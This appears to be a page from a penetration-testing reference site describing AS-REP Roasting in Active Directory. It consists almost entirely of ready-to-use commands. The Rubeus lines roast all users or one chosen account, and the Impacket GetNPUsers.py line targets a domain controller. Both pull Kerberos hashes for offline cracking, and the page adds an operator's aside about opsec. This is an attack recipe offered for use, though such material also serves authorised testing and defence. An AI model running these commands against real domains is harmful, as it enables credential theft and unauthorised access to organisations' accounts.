> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/active-directory/kerberos/as-rep-roasting.md).

# AS-REP Roasting

If a user does not require Kerberos pre-authentication, an attacker can request an AS-REP  for the user and crack the retrieved hash offline.

### AS-REP Roasting with Rubeus

```bash
# AS-REP Roast all users (burn your opsec):
.\Rubeus.exe asreproast /nowrap

# AS-REP Roast a specific user:
.\Rubeus.exe asreproast /user:$serviceaccount /nowrap
```

### AS-REP Roasting with Impacket

```bash
# AS-REP Roast with Impacket
python3 GetNPUsers.py $domain -dc-ip $dcip -usersfile $userfile
```